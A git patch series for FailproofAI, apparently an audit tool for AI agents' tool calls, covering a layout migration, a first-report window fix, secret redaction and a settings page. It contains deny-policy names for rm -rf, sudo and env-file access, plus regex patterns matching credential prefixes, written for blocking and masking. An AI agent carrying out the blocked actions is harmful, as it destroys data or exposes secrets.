- }); - if (res.status === 204 || res.ok) return; - throw await parseError(res); -} - export interface InviteSendResult { /** Recipients that were dispatched successfully. */ sent: string[]; diff --git a/lib/auth/auth-store.ts b/lib/auth/auth-store.ts index 8deb4078..34994352 100644 --- a/lib/auth/auth-store.ts +++ b/lib/auth/auth-store.ts @@ -1,16 +1,17 @@ /** - * Persistence layer for the FailproofAI auth.json file. + * Persistence layer for the signed-in session. * - * Tokens live at ~/.failproofai/auth.json with mode 0600. The dashboard's - * Next.js API routes read and write through here, so a session survives across - * dashboard runs. + * Tokens live at `~/.failproofai/audit/session.json` with mode 0600 (layout 4; + * `auth.json` at the home root before that). The dashboard's Next.js API routes + * and the audit child both read and write through here, so a session survives + * across dashboard runs and is the same one a scheduled report uses. */ import { existsSync, readFileSync, rmSync } from "node:fs"; import { join } from "node:path"; import { writeJsonAtomically } from "../atomic-write"; -import { auditDir, auditReminderFile, auditSessionFile } from "../../src/hooks/fp-home"; +import { auditDir, auditSessionFile } from "../../src/hooks/fp-home"; import { AuthApiError, decodeJwt, @@ -28,7 +29,7 @@ export interface StoredAuth { } /** - * Where the session and reminder files live. + * Where the session file lives. * * `FAILPROOFAI_AUTH_DIR` overrides it OUTRIGHT — the override names the * directory the two files sit in directly, with no `audit/` beneath it, which is @@ -47,55 +48,6 @@ export function getAuthFilePath(): string { return override ? join(override, "session.json") : auditSessionFile(); } -/** Location of the persisted re-audit reminder — a separate file from the - * session so the reminder survives a token refresh, and a sign-out. */ -export function getReminderFilePath(): string { - const override = process.env.FAILPROOFAI_AUTH_DIR; - return override ? join(override, "reminder.json") : auditReminderFile(); -} - -export interface StoredReminder { - /** Unix seconds. */ - next_audit_at: number; - /** Email the reminder was set for. Used to invalidate the reminder if the - * active session belongs to a different user. */ - user_email: string; - /** Unix seconds. */ - set_at: number; -} - -export function readReminder(): StoredReminder | null { - const p = getReminderFilePath(); - if (!existsSync(p)) return null; - try { - const raw = readFileSync(p, "utf-8"); - const parsed = JSON.parse(raw) as Partial; - if ( - typeof parsed.next_audit_at !== "number" || - typeof parsed.user_email !== "string" || - typeof parsed.set_at !== "number" - ) { - return null; - } - return { - next_audit_at: parsed.next_audit_at, - user_email: parsed.user_email, - set_at: parsed.set_at, - }; - } catch { - return null; - } -} - -export function writeReminder(reminder: StoredReminder): void { - writeJsonAtomically(getReminderFilePath(), reminder); -} - -export function deleteReminder(): void { - const p = getReminderFilePath(); - if (existsSync(p)) rmSync(p, { force: true }); -} - export function readAuth(): StoredAuth | null { const p = getAuthFilePath(); if (!existsSync(p)) return null; @@ -172,8 +124,8 @@ const REFRESH_LEEWAY_SECS = 60; /** * In-flight refresh dedup. Without this, two concurrent callers (e.g. - * the dashboard's `/api/auth/status` poll and a `/api/auth/reminder` - * POST in flight) both observe the same expired access token, both call + * the dashboard's `/api/auth/status` poll and a scheduled audit's report + * in flight) both observe the same expired access token, both call * `refreshAccessToken(auth.refresh_token)` with the same refresh token, * and the api-server treats the second call as token-replay and revokes * every session for that user — a silent logout. Keying on the refresh diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts index a844535e..a5e58d7c 100644 --- a/src/hooks/fp-home.ts +++ b/src/hooks/fp-home.ts @@ -62,7 +62,6 @@ * schedule.json daemon's scan timer (derived) * session.json 0600 the signed-in user (user-typed) * machine.json this machine's report identity (identity) - * reminder.json the re-audit nudge (user-typed) * hook-activity/ decision log the dashboard reads * custom-agents/ SDK spool (events/ + failed/) * run/ sockets + flock — MUST stay shallow, see below @@ -97,10 +96,12 @@ import { resolve } from "node:path"; * 2 — `config.toml` / `credentials.toml`, policies nested two levels down. * 3 — JSON config + credentials, policies flattened back up. * 4 — everything the audit owns moved under `audit/`: the signed-in session - * (from `auth.json`), the re-audit reminder (from `next-audit.json`) and - * the daemon's scan timer (from `state/audit-schedule.json`). The point is - * that one directory now answers "what does the audit know about this - * machine", the way `policies/` answers it for enforcement. + * (from `auth.json`), the daemon's scan timer (from + * `state/audit-schedule.json`), and the re-audit reminder (from + * `next-audit.json`, parked at `audit/reminder.json` and retired in the + * same release — see `legacy.auditReminder`). The point is that one + * directory now answers "what does the audit know about this machine", the + * way `policies/` answers it for enforcement. */ export const LAYOUT_VERSION = 4; @@ -271,15 +272,6 @@ export const auditSessionFile = (home?: string) => resolve(auditDir(home), "sess */ export const auditMachineFile = (home?: string) => resolve(auditDir(home), "machine.json"); -/** - * The re-audit reminder a signed-in user set. - * - * Layout 3's `next-audit.json`, at the home root and likewise unclassified. - * Moved rather than retired: the scheduled-audit work that replaces reminders - * lands separately, and a migration that deleted this before that landed would - * drop a setting a person chose, with no way back if the follow-up slipped. - */ -export const auditReminderFile = (home?: string) => resolve(auditDir(home), "reminder.json"); // ── Hook activity ──────────────────────────────────────────────────────────── @@ -506,8 +498,6 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da // with no notice, and the machine only finds out the next time it tries to // report. { path: auditSessionFile, class: "user-typed" }, - // Layout 3's `next-audit.json`, same story: a cadence a person chose. - { path: auditReminderFile, class: "user-typed" }, // ── Never deleted: recorded and not yet shipped ── // Batches read out of transcripts and queued for upload. The reason losing @@ -660,6 +650,16 @@ export const legacy = { */ authJson: () => at("auth.json"), nextAudit: () => at("next-audit.json"), + /** + * Layout 4's `audit/reminder.json`, retired before it was ever written to. + * + * The layout-4 step MOVES `next-audit.json` here rather than deleting it, + * because the scheduled-audit work that replaces reminders had not landed yet + * and dropping a cadence someone chose would have been unrecoverable if it + * slipped. It has landed; the reminder concept is gone, and this is the + * position the file was parked in. Listed so a reset clears it. + */ + auditReminder: () => at("audit", "reminder.json"), auditSchedule: () => at("state", "audit-schedule.json"), cacheDir: () => at("cache"), hookActivityDir: () => at("cache", "hook-activity"), @@ -746,6 +746,10 @@ function retiredLayoutPaths(): string[] { // `migrateHookActivity()`, and everything else in `cache/` still goes — // both remaining entries are re-derived on demand. legacy.auditCacheDir(), + // The reminder, at the position layout 4 parked it in. It is on this list + // rather than in `HOME_CLASSES` because the path is RETIRED: nothing writes + // it any more, so it has no class to carry — only a location to clear. + legacy.auditReminder(), legacy.codexSessionPaths(), legacy.spoolDir(), legacy.failedDir(), diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index 2c02c2d2..06522932 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -51,7 +51,6 @@ import { basename, dirname, resolve } from "node:path"; import { version as cliVersion } from "../../package.json"; import { LAYOUT_VERSION, - auditReminderFile, auditScheduleFile, auditSessionFile, configFile, @@ -119,6 +118,13 @@ export const MIGRATIONS: readonly Migration[] = [ * returns `EXDEV` there, and a step that threw on it would strand the machine at * layout 3 forever. * + * The reminder's destination is `legacy.auditReminder()`, a RETIRED path. The + * feature it belonged to is deleted in this same release, so nothing will ever + * read the file again — but a migration that DESTROYS something a person chose + * is a different act from one that moves it, and the difference matters even + * when the thing is obsolete. It is moved here and cleared by the next reset, + * via `retiredLayoutPaths()`. + * * **A missing source is success, not failure.** Most homes have never signed in, * so `auth.json` and `next-audit.json` are absent on the majority of machines, * and a scheduled scan that has never run leaves no `audit-schedule.json`. Only @@ -132,7 +138,7 @@ export const MIGRATIONS: readonly Migration[] = [ function migrateToLayout4(): ResetOutcome { const moves: { from: string; to: string }[] = [ { from: legacy.authJson(), to: auditSessionFile() }, - { from: legacy.nextAudit(), to: auditReminderFile() }, + { from: legacy.nextAudit(), to: legacy.auditReminder() }, { from: legacy.auditSchedule(), to: auditScheduleFile() }, ]; From 069c19ba582928c5a7707763a58c0f2088585627 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 18:13:00 +0530 Subject: [PATCH 06/24] Bound a first digest to one interval, and mask secrets that arrive cut MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three fixes, all found by running the whole stack against a real machine rather than a fixture. ## A first report covered all of history With no watermark the window was "everything". Against 230 sessions and 22,059 tool calls that produced 5,815 findings — every number true and the digest still wrong: somebody's first email would describe their agent's entire recorded history as though it were this week's news, and would trip the critical-policy bypass on day one for essentially everyone. A first report is now bounded to one interval_days back from the scan, so the opening digest covers the same period every later one does. The same run then reports 17. The older findings are not lost, they are simply not news — they are on the dashboard, which is where a full history belongs. `includeUnplaceable` moves to keying on "is this the first report" rather than "is there a lower bound", since a first report now always has one. ## A truncated secret shipped as a fragment A real digest came back containing `authorization: Bearer s`. The audit caps every example at 80 characters at CAPTURE time, long before the redactor sees it, so a command ending in a credential arrives with the credential's tail already gone and the full pattern no longer matches it. That is the exact failure the mask-before-shorten ordering guards against, arriving from upstream instead of from our own transform. A second pass masks a known secret prefix sitting at the END of a string, on the assumption it was cut. One character is not a usable secret; the point is that the number was set by where the truncation happened to land rather than by anything we control, and the same shape with a longer prefix ships more. ## /dev/null was being shortened to /…/null Which reads as though something was hidden when nothing was. Kernel and device roots are identical on every machine and identify nobody. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + __tests__/audit/harm-report.test.ts | 50 ++++++++++++++++--- __tests__/audit/redact-example.test.ts | 55 +++++++++++++++++++++ src/audit/harm-report.ts | 66 +++++++++++++++++++------ src/audit/redact-example.ts | 68 +++++++++++++++++++++++++- src/audit/report-harm.ts | 9 +++- 6 files changed, 223 insertions(+), 27 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1ee08bb1..74dd4413 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,8 @@ ### Fixes +- Three fixes to the harm digest, all found by running the whole stack against a real machine rather than a fixture. **A first report covered all of history.** With no watermark the window was "everything", which against 230 sessions and 22,059 tool calls produced **5,815 findings** — every number true and the digest still wrong, because somebody's first email would describe their agent's entire recorded history as though it were this week's news, and would trip the critical-policy bypass on day one for essentially everyone. A first report is now bounded to one `interval_days` back from the scan, so the opening digest covers the same period every later one does; the same run then reports **17**. The older findings are not lost, they are simply not news — they are on the dashboard, which is where a full history belongs. **A truncated secret shipped as a fragment.** A real digest came back containing `authorization: Bearer s`. The audit caps every example at 80 characters at CAPTURE time, long before the redactor sees it, so a command ending in a credential arrives with the credential's tail already gone and the full pattern no longer matches — the exact failure the mask-before-shorten ordering guards against, arriving from upstream instead. A second pass now masks a known secret prefix sitting at the END of a string, on the assumption it was cut; one character is not a usable secret, but the number was set by where the truncation happened to land rather than by anything we control. **`/dev/null` was being shortened to `/…/null`**, which reads as though something was hidden when nothing was; kernel and device roots are identical on every machine, identify nobody, and are now left intact. (#698) + - Resume the CTA that opened the sign-in dialog, instead of assuming it was the reminder. The reminder and "invite a friend" buttons share one `AuthDialog`, and which one opened it was tracked only as `authCopy` — the headline and subhead to show — while `handleAuthed` unconditionally called `persistReminder`. So the dialog knew which button had been pressed for the purpose of its own COPY and not for the purpose of its own EFFECT, and the invite path did the reminder path's work: a user who clicked *invite a friend*, read "Oops! Login required", and signed in got a 7-day reminder they never asked for, and no invite dialog — their actual intent dropped on the floor. An explicit `pendingAction` now carries the intent (and, for a reminder, the cadence whose button was actually pressed, so a re-render between click and verify cannot change which one lands); the copy is DERIVED from it, so the two can no longer disagree, and a third CTA means adding a case rather than remembering to branch inside a handler that has no idea it is shared. Dismissing the dialog clears the intent, because leaving it set would make the next sign-in — from any other CTA — resume something the user had walked away from; and "no pending action" is now expressible at all, which it was not before. The component's tests were the other half of the story: they covered which COPY each CTA shows and nothing else, so they were exactly as green on the broken version as on the fixed one. Three tests now pin the effect — invite resumes the invite dialog and writes no reminder, a cadence button still writes its reminder, and a dismissed dialog abandons the intent. (#698) - Stop `detectLayout()` deriving a landmark's layout from whatever this build speaks. `config.toml` with no `config.json` returned `LAYOUT_VERSION - 1`, which read correctly while current was 3 and became silent data loss at 4: a genuine layout-2 home was reported as layout 3, so `planMigration` ran only the 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps the home as current. `config.toml` and `credentials.toml` would never be carried into JSON, orphaning the cloud token and `daemon.configured` on a machine that then reads as fully migrated. A landmark identifies ONE layout and is never relative. The `config.json` branch above it had the same shape with a different ending: that file proves "layout 3 or later" and cannot separate the two, so a layout-3 home that lost its `VERSION` was called current, the 3 → 4 move never ran, and the user was silently signed out with `auth.json` still sitting on disk. What actually separates 3 from 4 is where the audit's files sit, so it now asks that directly — any of the three still at the root means stale — and when none are present the two layouts are identical on disk, the step would move nothing, and current is the correct non-destructive answer. Found by the layout-4 bump: the assertion that caught it was pinned to `2` and started failing the moment the constant moved, which is the whole reason it was written that way. (#695) diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts index 14eb1bdc..b53bc4c3 100644 --- a/__tests__/audit/harm-report.test.ts +++ b/__tests__/audit/harm-report.test.ts @@ -143,7 +143,7 @@ describe("selectHarmful — the window", () => { expect(p.hits).toBeLessThan(500); }); - it("takes everything up to `to` on a first report, where there is no watermark", () => { + it("takes everything up to `to` when given no lower bound", () => { const r = result([ count({ name: "failproofai/block-rm-rf", @@ -175,9 +175,12 @@ describe("selectHarmful — the window", () => { it("keeps an unplaceable policy on a first report and drops it on a later one", () => { // No usable timestamps, so it cannot be placed. Silence about something new // is worse than repeating something old, so each window fails the way it - // can afford to. + // can afford to. Keyed on "is this the first report", NOT on "is there a + // lower bound" — a first report now always has one. const r = result([count({ name: "failproofai/block-sudo", severity: "deny", hits: 2 })]); - expect(selectHarmful(r, undefined, new Date(AUG_14))).toHaveLength(1); + expect( + selectHarmful(r, new Date(AUG_07), new Date(AUG_14), { includeUnplaceable: true }), + ).toHaveLength(1); expect(selectHarmful(r, new Date(AUG_07), new Date(AUG_14))).toEqual([]); }); @@ -211,18 +214,51 @@ describe("buildHarmReport", () => { // The instant the evidence was gathered. A later reading would advance the // watermark past events that happened while the scan was still running — // events no report would ever cover. - const r = buildHarmReport(result([], AUG_10), AUG_07); + const r = buildHarmReport(result([], AUG_10), AUG_07, 7); expect(r.window_to).toBe(AUG_10); expect(r.window_from).toBe(AUG_07); }); - it("omits window_from on a first report", () => { - expect(buildHarmReport(result([]), undefined).window_from).toBeUndefined(); + it("bounds a FIRST report to one interval rather than all of history", () => { + // Found by running it: against a real machine the unbounded first window + // covered 230 sessions and 22,059 tool calls and produced 5,815 findings. + // Every number was true and the digest was still wrong — an opening email + // describing an agent's entire recorded history as though it were this + // week's news, tripping the critical bypass on day one for everyone. + const r = buildHarmReport(result([], AUG_14), undefined, 7); + expect(r.window_from).toBe(AUG_07); + expect(r.window_to).toBe(AUG_14); + }); + + it("honours the configured interval for that first window", () => { + const r = buildHarmReport(result([], AUG_14), undefined, 4); + expect(r.window_from).toBe(AUG_10); + }); + + it("drops history older than the first window", () => { + const r = buildHarmReport( + result( + [ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 500, + firstSeen: "2026-01-01T00:00:00.000Z", + lastSeen: AUG_01, + examples: [example(AUG_01)], + }), + ], + AUG_14, + ), + undefined, + 7, + ); + expect(r.harmful).toEqual([]); }); it("produces an empty harmful list rather than nothing at all", () => { // A quiet report is still a report — it is what keeps "scanned and found // nothing" distinguishable from "stopped reporting". - expect(buildHarmReport(result([]), AUG_07).harmful).toEqual([]); + expect(buildHarmReport(result([]), AUG_07, 7).harmful).toEqual([]); }); }); diff --git a/__tests__/audit/redact-example.test.ts b/__tests__/audit/redact-example.test.ts index 56b0054e..af6187d6 100644 --- a/__tests__/audit/redact-example.test.ts +++ b/__tests__/audit/redact-example.test.ts @@ -119,3 +119,58 @@ describe("redactExample", () => { expect(out).not.toContain("sk-ant-abcdefghijklmnopqrstuvwxyz"); }); }); + +describe("maskTruncatedSecret — the fragment case", () => { + it("masks a secret that was cut short before it reached us", () => { + // Found by running a real digest, which came back containing + // `authorization: Bearer s` — the first character of a live token. The + // audit truncates examples to 80 chars at CAPTURE time, so a command + // ending in a credential arrives with the credential's tail already gone + // and the full pattern no longer matches it. One character is not a usable + // secret; the point is that the number is set by where the truncation + // landed, not by anything we control. + const out = redactExample('curl "https://x.test/v1/models" -H "authorization: Bearer s', HOME); + expect(out).toContain("[REDACTED: bearer token]"); + expect(out).not.toMatch(/Bearer s$/); + }); + + it("masks every truncated key prefix we know how to start", () => { + for (const [frag, label] of [ + ["export KEY=sk-ant-abc", "Anthropic API key"], + ["gh auth --token ghp_abc", "GitHub personal access token"], + ["aws_access_key_id = AKIAIOS", "AWS access key ID"], + ["stripe --key sk_live_abc", "Stripe live secret key"], + ["google AIzaSyA", "Google API key"], + ["cat key.pem -----BEGIN RSA", "private key"], + ] as const) { + expect(redactExample(frag, HOME), frag).toContain(`[REDACTED: ${label}]`); + } + }); + + it("only fires at the END, where a truncation can be", () => { + // A prefix in the middle with text after it was not cut — it either + // matched a full pattern already or was never a secret. Masking it would + // eat the rest of a legitimate command. + const out = redactExample("sk-short && git status", HOME); + expect(out).toContain("git status"); + }); + + it("leaves an ordinary command ending in a word alone", () => { + expect(redactExample("git commit -m fixup", HOME)).toBe("git commit -m fixup"); + }); +}); + +describe("shortenPaths — public roots", () => { + it("leaves /dev, /proc and /sys intact", () => { + // A real digest came back with `2>/…/null`, which reads as though + // something was hidden when nothing was. These are identical on every + // machine and identify nobody. + expect(shortenPaths("cmd 2>/dev/null", HOME)).toBe("cmd 2>/dev/null"); + expect(shortenPaths("cat /proc/cpuinfo", HOME)).toBe("cat /proc/cpuinfo"); + expect(shortenPaths("cat /sys/class/net", HOME)).toBe("cat /sys/class/net"); + }); + + it("still shortens everything else outside home", () => { + expect(shortenPaths("/etc/ssl/private/server.key", HOME)).toBe("/…/server.key"); + }); +}); diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts index 3b3d97a7..f24a517a 100644 --- a/src/audit/harm-report.ts +++ b/src/audit/harm-report.ts @@ -100,21 +100,24 @@ function ts(value: string | undefined): number | null { /** * Select the harmful policies whose activity falls inside `[from, to]`. * - * `from` undefined means "everything up to `to`" — a machine's first report, - * the only time it legitimately has no watermark. - * - * A policy with NO usable timestamps is included when there is no lower bound - * and excluded when there is. It cannot be placed, and the two failure - * directions are not equal: on a first report, dropping it loses a real finding; - * on a later one, including it re-reports something already covered. Silence - * about something new is the worse of the two, and repetition is the more - * annoying, so each window gets the answer that fails the way it can afford to. + * `from` undefined means "everything up to `to`", which is now only reachable + * by an explicit caller — `buildHarmReport` always supplies a bound. See the + * note there for why. + * + * `includeUnplaceable` decides what happens to a policy with NO usable + * timestamps. It cannot be placed, and the two failure directions are not + * equal: on a first report, dropping it loses a real finding; on a later one, + * including it re-reports something already covered. Silence about something + * new is the worse of the two and repetition is merely annoying, so each window + * gets the answer that fails the way it can afford to. */ export function selectHarmful( result: AuditResult, from: Date | undefined, to: Date, + opts: { includeUnplaceable?: boolean } = {}, ): ReportedPolicy[] { + const includeUnplaceable = opts.includeUnplaceable ?? from === undefined; const fromMs = from ? from.getTime() : null; const toMs = to.getTime(); const out: ReportedPolicy[] = []; @@ -134,16 +137,23 @@ export function selectHarmful( const inWindow = count.examples.filter((e) => { const at = ts(e.timestamp); - if (at === null) return fromMs === null; + if (at === null) return includeUnplaceable; if (fromMs !== null && at <= fromMs) return false; return at <= toMs; }); - if (last === null && first === null && fromMs !== null) continue; + const unplaceable = last === null && first === null; + if (unplaceable && !includeUnplaceable) continue; // Wholly inside the window → the real total. Straddling it → the examples // that actually fall inside, which undercounts but never invents. - const wholly = fromMs === null || (first !== null && first > fromMs); + // + // An UNPLACEABLE policy that survived the check above reports its full + // count: there is nothing to narrow it with, and having decided to include + // it, reporting zero would be a row claiming nothing happened. It is only + // reachable on a first report, where over-reporting is the direction that + // was chosen deliberately. + const wholly = fromMs === null || unplaceable || (first !== null && first > fromMs); const hits = wholly ? count.hits : inWindow.length; if (hits <= 0) continue; @@ -171,19 +181,43 @@ export function selectHarmful( * the evidence was gathered, and using a later clock reading would advance the * watermark past events that happened while the scan was still running — events * no report would ever cover. + * + * ## A first report is bounded to one interval, not to all of history + * + * With no watermark the obvious window is "everything", and that is what this + * did until it was run against a real machine: the first report covered 230 + * sessions and 22,059 tool calls and came out at **5,815 findings**. Every + * number in it was true and the digest was still wrong — somebody's first email + * would describe their agent's entire recorded history as though it were this + * week's news, and would trip the critical bypass on day one for essentially + * everyone. + * + * A digest is a statement about RECENT behaviour, so the first one covers the + * same period every later one does: `interval_days` back from the scan. The + * older findings are not lost, they are simply not news — they are on the + * dashboard, which is where a full history belongs. + * + * `includeUnplaceable` still follows "is this the first report", not "is there a + * lower bound", so a policy carrying no usable timestamps is reported once on a + * new machine rather than silently dropped by the bound this now always sets. */ export function buildHarmReport( result: AuditResult, lastReportedAt: string | undefined, + intervalDays: number, ): HarmReport { const to = new Date(Date.parse(result.scannedAt)); const windowTo = Number.isFinite(to.getTime()) ? to : new Date(); - const fromMs = ts(lastReportedAt); - const from = fromMs === null ? undefined : new Date(fromMs); + const watermark = ts(lastReportedAt); + const isFirstReport = watermark === null; + + const from = isFirstReport + ? new Date(windowTo.getTime() - Math.max(1, intervalDays) * 86_400_000) + : new Date(watermark); return { - window_from: from?.toISOString(), + window_from: from.toISOString(), window_to: windowTo.toISOString(), - harmful: selectHarmful(result, from, windowTo), + harmful: selectHarmful(result, from, windowTo, { includeUnplaceable: isFirstReport }), }; } diff --git a/src/audit/redact-example.ts b/src/audit/redact-example.ts index 52601a4c..5da1f07a 100644 --- a/src/audit/redact-example.ts +++ b/src/audit/redact-example.ts @@ -12,7 +12,11 @@ * 1. **Secrets are masked**, against `SECRET_PATTERNS` — the same list the * `sanitize-*` policies block on. One definition of "secret", used for both * blocking and redacting, rather than a second pattern list beside it that - * eventually disagrees. + * eventually disagrees. A second pass then catches a secret that arrived + * ALREADY CUT: the audit truncates examples to 80 characters at capture + * time, so a command ending in a credential reaches this module with the + * credential's tail missing and the full pattern no longer matching. See + * `maskTruncatedSecret`. * 2. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes * `~/…/db.ts`. The basename is what makes a finding recognisable; the * directory chain is a map of someone's disk and their employer's project @@ -50,6 +54,64 @@ const KEPT_PARENT_SEGMENTS = 0; /** Matches an absolute POSIX-ish path with at least two segments. */ const ABSOLUTE_PATH_RE = /(?:\/[\w.\-@+]+){2,}\/?/g; +/** + * Roots whose paths are left intact. + * + * These are kernel and device paths — the same on every machine, identifying + * nobody, and shortening them actively costs readability: a real digest came + * back with `2>/…/null`, which reads as though something was hidden when + * nothing was. Everything else is shortened, including paths outside home, + * because "not under home" is not the same as "safe to send". + */ +const PUBLIC_PATH_ROOTS = ["/dev/", "/proc/", "/sys/"]; + +/** + * Prefixes that BEGIN a secret, for catching one that arrives already cut. + * + * The audit truncates every example to 80 characters at capture time, long + * before this module sees it — so a command ending in a credential arrives with + * the credential's tail already gone, and the full patterns in + * `SECRET_PATTERNS` no longer match it. A real digest came back containing + * `authorization: Bearer s`, which is the first character of a live token. + * + * One character is not a usable secret. The point is that the number is set by + * where the truncation happened to land rather than by anything here, and the + * same shape with a longer prefix ships more. So a known prefix sitting at the + * END of the string — with nothing after it, or too little to have matched — is + * masked on the assumption it was cut, which costs a few characters of context + * in the rare case it was not. + */ +const SECRET_PREFIXES: ReadonlyArray = [ + [/(?:Authorization:\s*)?Bearer\s+\S*$/i, "bearer token"], + [/sk-ant-\S*$/, "Anthropic API key"], + [/sk-proj-\S*$/, "OpenAI project API key"], + [/sk-\S*$/, "OpenAI API key"], + [/ghp_\S*$/, "GitHub personal access token"], + [/github_pat_\S*$/, "GitHub fine-grained token"], + [/AKIA\S*$/, "AWS access key ID"], + [/sk_live_\S*$/, "Stripe live secret key"], + [/sk_test_\S*$/, "Stripe test secret key"], + [/AIza\S*$/, "Google API key"], + [/-----BEGIN\s[A-Z ]*$/, "private key"], +]; + +/** + * Mask a secret that was cut short before it reached us. + * + * Runs AFTER `maskSecrets`, so a complete secret is already gone and this only + * ever sees a genuine fragment. Anchored to the end of the string, because a + * prefix in the MIDDLE with text after it was not truncated — it either matched + * a full pattern already or was never a secret. + */ +export function maskTruncatedSecret(input: string): string { + for (const [pattern, label] of SECRET_PREFIXES) { + if (pattern.test(input)) { + return input.replace(pattern, `[REDACTED: ${label}]`); + } + } + return input; +} + /** * Mask anything matching a known secret shape. * @@ -78,6 +140,8 @@ export function maskSecrets(input: string): string { */ export function shortenPaths(input: string, home = homedir()): string { return input.replace(ABSOLUTE_PATH_RE, (match) => { + // Kernel/device paths are the same on every machine and identify nobody. + if (PUBLIC_PATH_ROOTS.some((root) => match.startsWith(root))) return match; const trailingSlash = match.endsWith("/"); const segments = match.split("/").filter(Boolean); if (segments.length === 0) return match; @@ -104,7 +168,7 @@ export function shortenPaths(input: string, home = homedir()): string { * saying nothing the single line does not. */ export function redactExample(input: string, home = homedir()): string { - const masked = maskSecrets(input); + const masked = maskTruncatedSecret(maskSecrets(input)); const shortened = shortenPaths(masked, home); const collapsed = shortened.replace(/\s+/g, " ").trim(); return collapsed.length > REDACTED_EXAMPLE_MAX_CHARS diff --git a/src/audit/report-harm.ts b/src/audit/report-harm.ts index 08062d12..8eaf8da5 100644 --- a/src/audit/report-harm.ts +++ b/src/audit/report-harm.ts @@ -60,8 +60,13 @@ export async function reportHarm(result: AuditResult): Promise n + p.hits, 0); try { From 9b35c7a25aa08e52628fac3c70d164daf512f219 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 19:26:50 +0530 Subject: [PATCH 07/24] Give scheduled audits their own page, and let the audit be a report MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The controls sit at /settings again, reached by a gear in the header between the refresh controls and reach-us. An icon, not a fourth nav tab: the tabs are views of DATA (projects, policies, audit) and this is machine configuration, so putting it in that row would have claimed it was another place to look at results. Section 05 keeps one job and is now "spread the audit" — the share card and nothing else. A report should not end in a settings form. The panel is built from what the service actually has (a state, a timer, an identity), on the app's existing tokens and existing chrome — `.panel` and its corner brackets, `.btn-press` and its hard pixel offset. One drawn element: a schedule tape showing where this machine sits between the last scan and the next, because that is a POSITION and no number shows a position at a glance. It renders nothing without two real ends — a machine that has never run a scheduled scan is not inside an interval, and a rail claiming otherwise would be decoration. ## One switch, not two `audit.email_enabled` is gone. Scheduling and mailing are the same decision — the reason to put a scan on a timer is to be told what it found — so two keys could only ever disagree, and a timer with nobody to tell is a switch that reads as on and produces nothing. "Signed out with the timer on" is therefore DERIVED from the session rather than stored, and the page names it ("scans continue, digests are paused") rather than preventing it. Auth gates setting the timer up, never the machine's ongoing work: a refresh token expiring must not silently switch off a background feature somebody configured months ago. ## Server-rendered, not fetched after mount The client-side version painted "off. nothing runs and nothing is sent." and then flipped to the truth — a page whose whole job is to say whether a security feature is on spending its first frame saying the opposite. It reads local files, so there was never a latency reason to defer it. `nowMs` is the one thing still seeded on the client, deliberately: a server clock would put the tape's marker where the browser then corrects it. Also fixes a test that exhausted a 4GB worker heap. The PostHog mock returned a fresh `vi.fn()` per call, so `capture` changed identity every render and AuthDialog's effect — which lists it as a dep — re-fired forever. The same trap is already documented in auth-dialog.test.ts; this one just repeated it. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + .../actions/update-scheduled-audit.test.ts | 16 +- .../audit/come-back-better-section.test.tsx | 209 ++----- __tests__/audit/report-harm.test.ts | 5 +- .../audit/settings-scheduled-audit.test.tsx | 238 ++++++++ __tests__/hooks/fp-home.test.ts | 16 +- __tests__/hooks/harness-extra-paths.test.ts | 4 +- app/actions/get-scheduled-audit.ts | 9 +- app/actions/update-scheduled-audit.ts | 76 ++- app/audit/_components/audit-dashboard.tsx | 8 +- .../_components/come-back-better-section.tsx | 544 +++--------------- app/audit/audit-styles.css | 10 +- app/globals.css | 33 ++ app/settings/page.tsx | 39 ++ app/settings/settings-client.tsx | 496 ++++++++++++++++ app/settings/settings.css | 281 +++++++++ bin/failproofaid-shim.mjs | 0 components/navbar.tsx | 27 +- src/audit/report-harm.ts | 22 +- src/hooks/fp-config.ts | 50 +- 20 files changed, 1354 insertions(+), 731 deletions(-) create mode 100644 __tests__/audit/settings-scheduled-audit.test.tsx create mode 100644 app/settings/page.tsx create mode 100644 app/settings/settings-client.tsx create mode 100644 app/settings/settings.css mode change 100644 => 100755 bin/failproofaid-shim.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index 74dd4413..89fbb73e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Give scheduled audits their own page again, and leave the audit report to be a report. The controls sit at `/settings`, reached by a gear in the header between the refresh controls and reach-us — an icon rather than a fourth nav tab, because the tabs are views of DATA (projects, policies, audit) and this is machine configuration; putting it in that row would have claimed it was another place to look at results. Section 05 of the audit keeps one job and is now **spread the audit**: the share card and nothing else. A report should not end in a settings form. The panel is built from what the service actually has — a state, a timer, an identity — on the app's existing tokens and existing chrome (`.panel` and its corner brackets, `.btn-press` and its hard pixel offset), with one drawn element: a **schedule tape** showing where this machine sits between the last scan and the next, because that is a POSITION and no number shows a position at a glance. It renders nothing without two real ends, since a machine that has never run a scheduled scan is not inside an interval and a rail claiming otherwise would be decoration. **One switch, not two.** `audit.email_enabled` is gone: scheduling and mailing are the same decision — the reason to put a scan on a timer is to be told what it found — so two keys could only ever disagree, and "signed out with the timer on" becomes a state DERIVED from the session rather than stored. That state is named on the page ("scans continue, digests are paused") rather than prevented, because auth gates setting the timer up and never the machine's ongoing work: a refresh token expiring must not silently switch off a background feature somebody configured months ago. The page is **server-rendered from the config** rather than fetched after mount — the client-side version painted "off. nothing runs and nothing is sent." and then flipped to the truth, so a page whose whole job is to say whether a security feature is on spent its first frame saying the opposite. It reads local files, so there was never a latency reason to defer it. (#698) + - Merge the scheduled-audit controls into the audit page and delete `/settings`. The two questions a person has after reading 